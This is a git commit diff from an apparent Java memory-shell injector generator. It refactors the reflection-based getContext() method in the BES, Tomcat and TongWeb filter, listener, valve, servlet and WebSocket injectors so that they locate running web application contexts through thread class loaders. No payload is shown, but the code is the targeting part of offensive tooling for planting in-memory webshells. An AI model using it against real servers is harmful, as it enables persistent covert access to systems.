refactor: simplify fetch context from spring

ReaJason · ReaJason · commit 9853c58b0857 · 2025-12-03T02:19:57.000+08:00
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java
@@ -83,6 +83,12 @@ public Set<Object> getContext() throws Exception {
                     Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
                     contexts.addAll(children.values());
                 }
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    contexts.add(getFieldValue(resources, "context"));
+                }
             }
         }
         return contexts;
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java
@@ -64,8 +64,8 @@ private String getContextRoot(Object context) {
         return c + "(" + r + ")";
     }
 
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -75,6 +75,12 @@ public List<Object> getContext() throws Exception {
                     Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
                     contexts.addAll(children.values());
                 }
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    contexts.add(getFieldValue(resources, "context"));
+                }
             }
         }
         return contexts;
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java
@@ -74,6 +74,12 @@ public Set<Object> getContext() throws Exception {
                     Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
                     contexts.addAll(children.values());
                 }
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    contexts.add(getFieldValue(resources, "context"));
+                }
             }
         }
         return contexts;
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java
@@ -7,7 +7,9 @@
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.*;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -82,10 +84,12 @@ public Set<Object> getContext() throws Exception {
                     Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
                     contexts.addAll(children.values());
                 }
-            } else if (thread.getContextClassLoader() != null
-                    && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
-                    || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
-                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    contexts.add(getFieldValue(resources, "context"));
+                }
             }
         }
         return contexts;
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java
@@ -73,10 +73,12 @@ public Set<Object> getContext() throws Exception {
                     Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
                     contexts.addAll(children.values());
                 }
-            } else if (thread.getContextClassLoader() != null
-                    && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
-                    || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
-                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    contexts.add(getFieldValue(resources, "context"));
+                }
             }
         }
         return contexts;
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java
@@ -99,10 +99,12 @@ public Set<Object> getContext() throws Exception {
                     Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
                     contexts.addAll(children.values());
                 }
-            } else if (thread.getContextClassLoader() != null
-                    && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
-                    || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
-                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    contexts.add(getFieldValue(resources, "context"));
+                }
             }
         }
         return contexts;
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java
@@ -80,10 +80,12 @@ public Set<Object> getContext() throws Exception {
                     Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
                     contexts.addAll(children.values());
                 }
-            } else if (thread.getContextClassLoader() != null
-                    && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
-                    || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
-                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    contexts.add(getFieldValue(resources, "context"));
+                }
             }
         }
         return contexts;
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java
@@ -73,10 +73,12 @@ public Set<Object> getContext() throws Exception {
                     Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
                     contexts.addAll(children.values());
                 }
-            } else if (thread.getContextClassLoader() != null
-                    && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
-                    || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
-                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    contexts.add(getFieldValue(resources, "context"));
+                }
             }
         }
         return contexts;
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java
@@ -79,10 +79,12 @@ public Set<Object> getContext() throws Exception {
                     HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
                     contexts.addAll(children.values());
                 }
-            } else if (thread.getContextClassLoader() != null
-                    && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
-                    || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
-                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    contexts.add(getFieldValue(resources, "context"));
+                }
             }
         }
         return contexts;
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java
@@ -91,9 +91,12 @@ public Set<Object> getContext() throws Exception {
                         Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
                         contexts.addAll(children.values());
                     }
-                } else if (thread.getContextClassLoader() != null
-                        && thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) {
-                    contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
+                } else if (thread.getContextClassLoader() != null) {
+                    String name = thread.getContextClassLoader().getClass().getSimpleName();
+                    if (name.matches(".+WebappClassLoader")) {
+                        Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                        contexts.add(getFieldValue(resources, "context"));
+                    }
                 }
             }catch (Exception ignored) {
 
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java
@@ -74,9 +74,12 @@ public Set<Object> getContext() throws Exception {
                     Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
                     contexts.addAll(children.values());
                 }
-            } else if (thread.getContextClassLoader() != null
-                    && thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) {
-                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    contexts.add(getFieldValue(resources, "context"));
+                }
             }
         }
         return contexts;
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java
@@ -74,9 +74,12 @@ public Set<Object> getContext() throws Exception {
                     Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
                     contexts.addAll(children.values());
                 }
-            } else if (thread.getContextClassLoader() != null
-                    && thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) {
-                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    contexts.add(getFieldValue(resources, "context"));
+                }
             }
         }
         return contexts;

Original file line number	Diff line number	Diff line change
`@@ -83,6 +83,12 @@ public Set<Object> getContext() throws Exception {`
`83`	`83`	`Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");`
`84`	`84`	`contexts.addAll(children.values());`
`85`	`85`	`}`
	`86`	`+ } else if (thread.getContextClassLoader() != null) {`
	`87`	`+ String name = thread.getContextClassLoader().getClass().getSimpleName();`
	`88`	`+ if (name.matches(".+WebappClassLoader")) {`
	`89`	`+ Object resources = getFieldValue(thread.getContextClassLoader(), "resources");`
	`90`	`+ contexts.add(getFieldValue(resources, "context"));`
	`91`	`+ }`
`86`	`92`	`}`
`87`	`93`	`}`
`88`	`94`	`return contexts;`
Original file line number	Diff line number	Diff line change
`@@ -64,8 +64,8 @@ private String getContextRoot(Object context) {`
`64`	`64`	`return c + "(" + r + ")";`
`65`	`65`	`}`
`66`	`66`
`67`		`- public List<Object> getContext() throws Exception {`
`68`		`- List<Object> contexts = new ArrayList<Object>();`
	`67`	`+ public Set<Object> getContext() throws Exception {`
	`68`	`+ Set<Object> contexts = new HashSet<Object>();`
`69`	`69`	`Set<Thread> threads = Thread.getAllStackTraces().keySet();`
`70`	`70`	`for (Thread thread : threads) {`
`71`	`71`	`if (thread.getName().contains("ContainerBackgroundProcessor")) {`
`@@ -75,6 +75,12 @@ public List<Object> getContext() throws Exception {`
`75`	`75`	`Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");`
`76`	`76`	`contexts.addAll(children.values());`
`77`	`77`	`}`
	`78`	`+ } else if (thread.getContextClassLoader() != null) {`
	`79`	`+ String name = thread.getContextClassLoader().getClass().getSimpleName();`
	`80`	`+ if (name.matches(".+WebappClassLoader")) {`
	`81`	`+ Object resources = getFieldValue(thread.getContextClassLoader(), "resources");`
	`82`	`+ contexts.add(getFieldValue(resources, "context"));`
	`83`	`+ }`
`78`	`84`	`}`
`79`	`85`	`}`
`80`	`86`	`return contexts;`
Original file line number	Diff line number	Diff line change
`@@ -74,6 +74,12 @@ public Set<Object> getContext() throws Exception {`
`74`	`74`	`Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");`
`75`	`75`	`contexts.addAll(children.values());`
`76`	`76`	`}`
	`77`	`+ } else if (thread.getContextClassLoader() != null) {`
	`78`	`+ String name = thread.getContextClassLoader().getClass().getSimpleName();`
	`79`	`+ if (name.matches(".+WebappClassLoader")) {`
	`80`	`+ Object resources = getFieldValue(thread.getContextClassLoader(), "resources");`
	`81`	`+ contexts.add(getFieldValue(resources, "context"));`
	`82`	`+ }`
`77`	`83`	`}`
`78`	`84`	`}`
`79`	`85`	`return contexts;`
Original file line number	Diff line number	Diff line change
`@@ -73,10 +73,12 @@ public Set<Object> getContext() throws Exception {`
`73`	`73`	`Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");`
`74`	`74`	`contexts.addAll(children.values());`
`75`	`75`	`}`
`76`		`- } else if (thread.getContextClassLoader() != null`
`77`		`- && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")`
`78`		`- \|\| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {`
`79`		`- contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));`
	`76`	`+ } else if (thread.getContextClassLoader() != null) {`
	`77`	`+ String name = thread.getContextClassLoader().getClass().getSimpleName();`
	`78`	`+ if (name.matches(".+WebappClassLoader")) {`
	`79`	`+ Object resources = getFieldValue(thread.getContextClassLoader(), "resources");`
	`80`	`+ contexts.add(getFieldValue(resources, "context"));`
	`81`	`+ }`
`80`	`82`	`}`
`81`	`83`	`}`
`82`	`84`	`return contexts;`
Original file line number	Diff line number	Diff line change
`@@ -99,10 +99,12 @@ public Set<Object> getContext() throws Exception {`
`99`	`99`	`Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");`
`100`	`100`	`contexts.addAll(children.values());`
`101`	`101`	`}`
`102`		`- } else if (thread.getContextClassLoader() != null`
`103`		`- && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")`
`104`		`- \|\| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {`
`105`		`- contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));`
	`102`	`+ } else if (thread.getContextClassLoader() != null) {`
	`103`	`+ String name = thread.getContextClassLoader().getClass().getSimpleName();`
	`104`	`+ if (name.matches(".+WebappClassLoader")) {`
	`105`	`+ Object resources = getFieldValue(thread.getContextClassLoader(), "resources");`
	`106`	`+ contexts.add(getFieldValue(resources, "context"));`
	`107`	`+ }`
`106`	`108`	`}`
`107`	`109`	`}`
`108`	`110`	`return contexts;`
Original file line number	Diff line number	Diff line change
`@@ -80,10 +80,12 @@ public Set<Object> getContext() throws Exception {`
`80`	`80`	`Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");`
`81`	`81`	`contexts.addAll(children.values());`
`82`	`82`	`}`
`83`		`- } else if (thread.getContextClassLoader() != null`
`84`		`- && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")`
`85`		`- \|\| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {`
`86`		`- contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));`
	`83`	`+ } else if (thread.getContextClassLoader() != null) {`
	`84`	`+ String name = thread.getContextClassLoader().getClass().getSimpleName();`
	`85`	`+ if (name.matches(".+WebappClassLoader")) {`
	`86`	`+ Object resources = getFieldValue(thread.getContextClassLoader(), "resources");`
	`87`	`+ contexts.add(getFieldValue(resources, "context"));`
	`88`	`+ }`
`87`	`89`	`}`
`88`	`90`	`}`
`89`	`91`	`return contexts;`
Original file line number	Diff line number	Diff line change
`@@ -79,10 +79,12 @@ public Set<Object> getContext() throws Exception {`
`79`	`79`	`HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");`
`80`	`80`	`contexts.addAll(children.values());`
`81`	`81`	`}`
`82`		`- } else if (thread.getContextClassLoader() != null`
`83`		`- && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")`
`84`		`- \|\| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {`
`85`		`- contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));`
	`82`	`+ } else if (thread.getContextClassLoader() != null) {`
	`83`	`+ String name = thread.getContextClassLoader().getClass().getSimpleName();`
	`84`	`+ if (name.matches(".+WebappClassLoader")) {`
	`85`	`+ Object resources = getFieldValue(thread.getContextClassLoader(), "resources");`
	`86`	`+ contexts.add(getFieldValue(resources, "context"));`
	`87`	`+ }`
`86`	`88`	`}`
`87`	`89`	`}`
`88`	`90`	`return contexts;`